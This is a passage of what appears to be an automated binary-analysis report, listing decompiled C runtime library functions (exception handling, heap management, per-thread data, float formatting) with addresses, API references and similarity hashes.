				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E00405236(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00409336(__ecx, _t53, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00409336(_t48, _t53, _t61) + 0x8c));
				 *((intOrPtr*)(E00409336(_t48, _t53, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00409336(_t48, _t53, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E004052DB(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00405819(_t48, _t55, _t57);
				return E00407449( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x004056f3
0x004056f5
0x004056fa
0x004056ff
0x00405701
0x00405704
0x00405707
0x0040570a
0x00405711
0x00405722
0x00405730
0x0040573e
0x00405746
0x00405754
0x0040575a
0x00405761
0x00405764
0x0040577a
0x0040577d
0x004057f2
0x004057f9
0x00405800
0x0040580d

APIs

__CreateFrameInfo.LIBCMT ref: 0040571B

Part of subcall function 00405236: __getptd.LIBCMT ref: 00405244
Part of subcall function 00405236: __getptd.LIBCMT ref: 00405252

__getptd.LIBCMT ref: 00405725

Part of subcall function 00409336: __getptd_noexit.LIBCMT ref: 00409339
Part of subcall function 00409336: __amsg_exit.LIBCMT ref: 00409346

__getptd.LIBCMT ref: 00405733
__getptd.LIBCMT ref: 00405741
__getptd.LIBCMT ref: 0040574C
_CallCatchBlock2.LIBCMT ref: 00405772

Part of subcall function 004052DB: __CallSettingFrame@12.LIBCMT ref: 00405327

Part of subcall function 00405819: __getptd.LIBCMT ref: 00405828
Part of subcall function 00405819: __getptd.LIBCMT ref: 00405836

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 4235e90d25caa7bb94e512e5a4c81585a45a7467db87f748c62e696993351ef9
Instruction ID: a9624e156f28dd3a08ab7f6d3c7c19294fa3b20836e602bc2edf4187efcaf95d
Opcode Fuzzy Hash: 4235e90d25caa7bb94e512e5a4c81585a45a7467db87f748c62e696993351ef9
Instruction Fuzzy Hash: CC11DA71C40209EFDB10EFA5D546A9E7BB0FF08318F10806EF814A7292DB3899119F55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6F0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040B6F0(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x4a4ed0);
				E00407404(__ebx, __edi, __esi);
				_t31 = E00409336(__ebx, __edx, _t35);
				_t15 =  *0x4a6cec; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00409F79(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x4a6bf0; // 0x2611608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x4a67c8;
								if(__eflags != 0) {
									_push(_t33);
									E00406A51(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x4a6bf0; // 0x2611608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x4a6bf0; // 0x2611608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040B78B();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040850D(_t29, 0x20);
				}
				return E00407449(_t33);
			}

0x0040b6f0
0x0040b6f0
0x0040b6f0
0x0040b6f0
0x0040b6f2
0x0040b6f7
0x0040b701
0x0040b703
0x0040b70b
0x0040b72c
0x0040b732
0x0040b736
0x0040b739
0x0040b73c
0x0040b742
0x0040b744
0x0040b746
0x0040b749
0x0040b74f
0x0040b751
0x0040b753
0x0040b759
0x0040b75b
0x0040b75c
0x0040b761
0x0040b759
0x0040b751
0x0040b762
0x0040b767
0x0040b76a
0x0040b770
0x0040b774
0x0040b774
0x0040b77a
0x0040b781
0x0040b713
0x0040b713
0x0040b713
0x0040b718
0x0040b71c
0x0040b721
0x0040b729

APIs

__getptd.LIBCMT ref: 0040B6FC

Part of subcall function 00409336: __getptd_noexit.LIBCMT ref: 00409339
Part of subcall function 00409336: __amsg_exit.LIBCMT ref: 00409346

__amsg_exit.LIBCMT ref: 0040B71C
__lock.LIBCMT ref: 0040B72C
InterlockedDecrement.KERNEL32(?), ref: 0040B749
InterlockedIncrement.KERNEL32(02611608), ref: 0040B774

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: b8510c19e5eb927e6464114540d36d9e8184a6466cc74969d61aad66bd85f598
Instruction ID: fcecdfa14163d7aa91fd4f91d0e8efbf7fa44a044ca51083489d8f23e18eb66d
Opcode Fuzzy Hash: b8510c19e5eb927e6464114540d36d9e8184a6466cc74969d61aad66bd85f598
Instruction Fuzzy Hash: DB015B35940622ABD711AB66984675E7BA0FB45714F09403BE810B73E2CB3CAD418BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00406A51 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00406A51(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x4a4d20);
				_t8 = E00407404(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00407449(_t8);
				}
				if( *0x6ea6e4 != 3) {
					_push(_t23);
					L7:
					if(HeapFree( *0x4a80fc, 0, ??) == 0) {
						_t10 = E00406554();
						 *_t10 = E00406512(GetLastError());
					}
					goto L9;
				}
				E00409F79(__ebx, __edi, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E00409FAC(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E00409FDC();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E00406AA7();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x00406a51
0x00406a53
0x00406a58
0x00406a5d
0x00406a62
0x00406ad9
0x00406ade
0x00406ade
0x00406a6b
0x00406ab0
0x00406ab1
0x00406ac1
0x00406ac3
0x00406ad6
0x00406ad8
0x00000000
0x00406ac1
0x00406a6f
0x00406a75
0x00406a7a
0x00406a80
0x00406a85
0x00406a87
0x00406a88
0x00406a89
0x00406a8f
0x00406a90
0x00406a97
0x00406aa0
0x00000000
0x00406aa2
0x00406aa2
0x00000000
0x00406aa2

APIs

__lock.LIBCMT ref: 00406A6F

Part of subcall function 00409F79: __mtinitlocknum.LIBCMT ref: 00409F8F
Part of subcall function 00409F79: __amsg_exit.LIBCMT ref: 00409F9B
Part of subcall function 00409F79: EnterCriticalSection.KERNEL32(?,?,?,0040766D,00000004,004A4D60,0000000C,0040BF9C,?,?,00000000,00000000,00000000,?,004092E8,00000001), ref: 00409FA3

___sbh_find_block.LIBCMT ref: 00406A7A
___sbh_free_block.LIBCMT ref: 00406A89
HeapFree.KERNEL32(00000000,?,004A4D20,0000000C,00407322,004032E5), ref: 00406AB9
GetLastError.KERNEL32(?,?,?,?,004A4D20,0000000C,00407322,004032E5), ref: 00406ACA

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 2b05eaecf659590c0739ab865b22706e2c8dfea28faf22a87355d4df72d7a93c
Instruction ID: 2817a435b178d1c4e3826e542e4d7fc6684edcde872144462199cd95b8e5d9a1
Opcode Fuzzy Hash: 2b05eaecf659590c0739ab865b22706e2c8dfea28faf22a87355d4df72d7a93c
Instruction Fuzzy Hash: 3C012171A05312AADF20BBA1AC0675B3A649F12324F11803FF507BA1D2DB7CD9509E5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405AA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00405AA0(void* __ebx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				intOrPtr _t19;
				void* _t21;
				void* _t22;
				intOrPtr* _t24;
				void* _t25;
				void* _t26;

				_t25 = __esi;
				_t24 = __edi;
				_t21 = __ebx;
				_t28 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E00405A0E(__ebx, __edi, __esi, _t28);
					_t26 = _t26 + 0x10;
				}
				_t29 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t25);
				}
				E00404F8E(_t22);
				_push( *_t24);
				_push(_a16);
				_push(_a12);
				_push(_t25);
				E00405478(_t21, _t24, _t25, _t29);
				_push(0x100);
				_push(_a24);
				_t19 =  *((intOrPtr*)(_t24 + 4)) + 1;
				_push(_a16);
				 *((intOrPtr*)(_t25 + 8)) = _t19;
				_push(_a8);
				_push(_t25);
				_push(_a4);
				"j,h`LJ"();
				if(_t19 != 0) {
					E00404F47(_t19, _t25);
					return _t19;
				}
				return _t19;
			}

0x00405aa0
0x00405aa0
0x00405aa0
0x00405aa5
0x00405aa9
0x00405aab
0x00405aae
0x00405aaf
0x00405ab0
0x00405ab3
0x00405ab8
0x00405ab8
0x00405abb
0x00405abf
0x00405ac2
0x00405ac7
0x00405ac4
0x00405ac4
0x00405ac4
0x00405aca
0x00405acf
0x00405ad1
0x00405ad4
0x00405ad7
0x00405ad8
0x00405ae0
0x00405ae5
0x00405ae8
0x00405ae9
0x00405aec
0x00405aef
0x00405af5
0x00405af6
0x00405af9
0x00405b03
0x00405b07
0x00000000
0x00405b07
0x00405b0d

APIs

___BuildCatchObject.LIBCMT ref: 00405AB3

Part of subcall function 00405A0E: ___BuildCatchObjectHelper.LIBCMT ref: 00405A44

_UnwindNestedFrames.LIBCMT ref: 00405ACA
___FrameUnwindToState.LIBCMT ref: 00405AD8

Strings

csm, xrefs: 00405AAF, 00405AC4, 00405AD7, 00405AF5, 00405B05

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 52055c2f57884fc084d47f376315b0f0a4211951245ac75f0d5f08d58a2915df
Instruction ID: a47f7dfc7554e592a1b86253121fc9585904a35423a575559cafd4c39be57d8f
Opcode Fuzzy Hash: 52055c2f57884fc084d47f376315b0f0a4211951245ac75f0d5f08d58a2915df
Instruction Fuzzy Hash: 9C017871100509BBCF12AF01CC45EAB3F6AEF44344F00412ABD08241A1C73AA8A1EFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E78B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040E78B() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x4023a0;
					_v28 =  *0x402398;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040e790
0x0040e798
0x0040e7af
0x0040e75b
0x0040e764
0x0040e770
0x0040e773
0x0040e776
0x0040e778
0x0040e77b
0x0040e780
0x0040e78a
0x0040e782
0x0040e786
0x0040e786
0x0040e79a
0x0040e7a0
0x0040e7a8
0x00000000
0x0040e7aa
0x0040e7aa
0x0040e7ae
0x0040e7ae
0x0040e7a8

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00409CAA), ref: 0040E790
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040E7A0

Strings

IsProcessorFeaturePresent, xrefs: 0040E79A
KERNEL32, xrefs: 0040E78B

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 1e6ec4a4387cd50c321e0f6e22b65e3f93e02cc2916a32b505df3e4a77ea7276
Instruction ID: 3a6cb4fc998e183041992d2f952b65302eb0dc8fb54f045fb071081984a9eedc
Opcode Fuzzy Hash: 1e6ec4a4387cd50c321e0f6e22b65e3f93e02cc2916a32b505df3e4a77ea7276
Instruction Fuzzy Hash: 73F03020A00A09E6DB042BB1AE0E36F7A78BB80742F9508B1E5D2F10D4DF7C8071D25A

Uniqueness

Uniqueness Score: -1.00%

Function 00404C4D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404C4D(intOrPtr _a4) {
				intOrPtr _v0;
				char _v16;
				void* _t8;
				signed int _t9;
				void* _t13;
				void* _t17;
				void* _t25;
				void* _t26;

				while(1) {
					_t8 = E00406987(_t17, _t25, _t26, _a4);
					if(_t8 != 0) {
						break;
					}
					_t9 = E00408465(_a4);
					__eflags = _t9;
					if(_t9 == 0) {
						__eflags =  *0x4a7c6c & 0x00000001;
						if(( *0x4a7c6c & 0x00000001) == 0) {
							 *0x4a7c6c =  *0x4a7c6c | 0x00000001;
							__eflags =  *0x4a7c6c;
							E00404C32(0x4a7c60);
							E0040843F( *0x4a7c6c, 0x4a4b60);
						}
						E00404670( &_v16, 0x4a7c60);
						E00404EFB( &_v16, 0x4a5118);
						asm("int3");
						__eflags =  *0x4a7c78 - 1;
						if( *0x4a7c78 == 1) {
							E004089C0(_t25);
						}
						_t13 = E00408815(_t25, _v0);
						E00408561(0xff);
						return _t13;
					} else {
						continue;
					}
					L10:
				}
				return _t8;
				goto L10;
			}

0x00404c64
0x00404c67
0x00404c6f
0x00000000
0x00000000
0x00404c5a
0x00404c60
0x00404c62
0x00404c73
0x00404c7f
0x00404c81
0x00404c81
0x00404c8a
0x00404c94
0x00404c99
0x00404c9e
0x00404cac
0x00404cb1
0x00404cb7
0x00404cbe
0x00404cc0
0x00404cc0
0x00404cc8
0x00404cd2
0x00404cda
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c62
0x00404c72
0x00000000

APIs

_malloc.LIBCMT ref: 00404C67

Part of subcall function 00406987: __FF_MSGBANNER.LIBCMT ref: 004069AA
Part of subcall function 00406987: __NMSG_WRITE.LIBCMT ref: 004069B1
Part of subcall function 00406987: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,0040BF52,?,00000001,?,?,00409F03,00000018,004A4E70,0000000C,00409F94), ref: 004069FE

std::bad_alloc::bad_alloc.LIBCMT ref: 00404C8A

Part of subcall function 00404C32: std::exception::exception.LIBCMT ref: 00404C3E

__CxxThrowException@8.LIBCMT ref: 00404CAC

Strings

`|J, xrefs: 00404C7A

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID: `|J
API String ID: 3715980512-2719321158
Opcode ID: 8be9c9ff0c40d66941ac11159412bbc5218af80d3dd24cd99506b6ba82d0457d
Instruction ID: 0b692e86d5dbd694dc08496ebaffd240afdde37f549ee9616c7a3620943b0561
Opcode Fuzzy Hash: 8be9c9ff0c40d66941ac11159412bbc5218af80d3dd24cd99506b6ba82d0457d
Instruction Fuzzy Hash: 6AF0E9B190520936DB247B72EC8AA5D3A544BC2318B11803FFA00751D1DF7CAD41C65D

Uniqueness

Uniqueness Score: -1.00%

Function 0040542F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040542F(intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;

				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E00409336(_t23, _t24, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E00409336(_t23, _t24, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E00409336(_t23, _t24, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x4a4e30);
						E00407404(_t23, _t25, _t26);
						_t19 =  *((intOrPtr*)(E00409336(_t23, _t24, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E00407449(E0040D9F8(_t23, _t24, _t25));
					}
				}
			}

0x00405439
0x00405440
0x0040545f
0x00405466
0x0040546d
0x00405472
0x00405472
0x00405472
0x00000000
0x00405442
0x00405442
0x00405447
0x00405474
0x00405474
0x00405477
0x00405449
0x0040544e
0x004096d2
0x004096d4
0x004096d9
0x004096e3
0x004096e8
0x004096ea
0x004096ee
0x004096f9
0x004096f9
0x0040970a
0x0040970a
0x00405447

APIs

__getptd.LIBCMT ref: 00405449

Part of subcall function 00409336: __getptd_noexit.LIBCMT ref: 00409339
Part of subcall function 00409336: __amsg_exit.LIBCMT ref: 00409346

__getptd.LIBCMT ref: 0040545A
__getptd.LIBCMT ref: 00405468

Strings

MOC, xrefs: 0040543B

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC
API String ID: 803148776-624257665
Opcode ID: 2a60fa349f73d5ebf537322a8e0832c8dd4f06d0dbb62005c58b9533d6aa8f36
Instruction ID: 918537145168455b6401ea16aac596ce78ad9945df75791b6ab05e5e20afc3e1
Opcode Fuzzy Hash: 2a60fa349f73d5ebf537322a8e0832c8dd4f06d0dbb62005c58b9533d6aa8f36
Instruction Fuzzy Hash: A8E01A325401089FDB20AA66C047B6A3394EB48319F1541B6A848EB3E3C73CEC909D4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E677 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E677(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0040DF68(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040E058(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0040E57D(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040E4C2(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0040e67c
0x0040e682
0x0040e6f5
0x00000000
0x0040e689
0x0040e689
0x0040e68c
0x0040e6a7
0x0040e6aa
0x0040e6ca
0x0040e6dc
0x0040e6ac
0x0040e6ac
0x0040e6af
0x00000000
0x0040e6b1
0x0040e6c3
0x0040e6c3
0x0040e6af
0x0040e6fa
0x0040e6fe
0x0040e68e
0x0040e6a6
0x0040e6a6
0x0040e68c

APIs

__cftof_l.LIBCMT ref: 0040E69D

Part of subcall function 0040E4C2: __fltout2.LIBCMT ref: 0040E4EE

__cftog_l.LIBCMT ref: 0040E6C3
__cftoe_l.LIBCMT ref: 0040E6F5

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: acc13cb3f66903cd5af19021ab7f63e6ce0173ce80a6ae777747199e4b011bbd
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 2E11873240014EBBCF125E86DC01CEE3F22BB28354F588826FA19651B0C63BC971AB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE5C Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040BE5C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4a4f10);
				E00407404(__ebx, __edi, __esi);
				_t29 = E00409336(__ebx, __edx, _t31);
				_t13 =  *0x4a6cec; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E00409F79(_t22, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x4a6dd0; // 0x4a6cf8
					 *((intOrPtr*)(_t30 - 0x1c)) = E0040BE1E(_t8, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E0040BEC6();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00409336(_t22, __edx, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E0040850D(_t25, 0x20);
				}
				return E00407449(_t29);
			}

0x0040be5c
0x0040be5c
0x0040be5c
0x0040be5c
0x0040be5c
0x0040be5e
0x0040be63
0x0040be6d
0x0040be6f
0x0040be77
0x0040be9b
0x0040be9d
0x0040bea3
0x0040bea7
0x0040beaa
0x0040beb5
0x0040beb8
0x0040bebf
0x0040be79
0x0040be79
0x0040be7d
0x00000000
0x0040be7f
0x0040be84
0x0040be84
0x0040be7d
0x0040be89
0x0040be8d
0x0040be92
0x0040be9a

APIs

__getptd.LIBCMT ref: 0040BE68

Part of subcall function 00409336: __getptd_noexit.LIBCMT ref: 00409339
Part of subcall function 00409336: __amsg_exit.LIBCMT ref: 00409346

__getptd.LIBCMT ref: 0040BE7F
__amsg_exit.LIBCMT ref: 0040BE8D
__lock.LIBCMT ref: 0040BE9D

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: cc2aa2fa896c1ff5af5214fc633cd03be9305fb80b75c963eb4c853b58933935
Instruction ID: 57d893433c3478b2c201d48cecd4eb690c0717899a82b081a7343cc4d8b18dc8
Opcode Fuzzy Hash: cc2aa2fa896c1ff5af5214fc633cd03be9305fb80b75c963eb4c853b58933935
Instruction Fuzzy Hash: 93F0F9319407009ED621AB76D403B8E76A0AB40728F55457FAA50B72D2CB7CA9419ADE

Uniqueness

Uniqueness Score: -1.00%

Function 00405819 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405819(void* __ebx, void* __edi, intOrPtr* __esi) {
				intOrPtr _t17;
				void* _t26;
				intOrPtr* _t28;
				void* _t29;
				void* _t30;

				_t28 = __esi;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E00405289(__ebx, __edi, __esi,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00409336(__ebx, _t26, _t30) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00409336(_t19, _t26, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
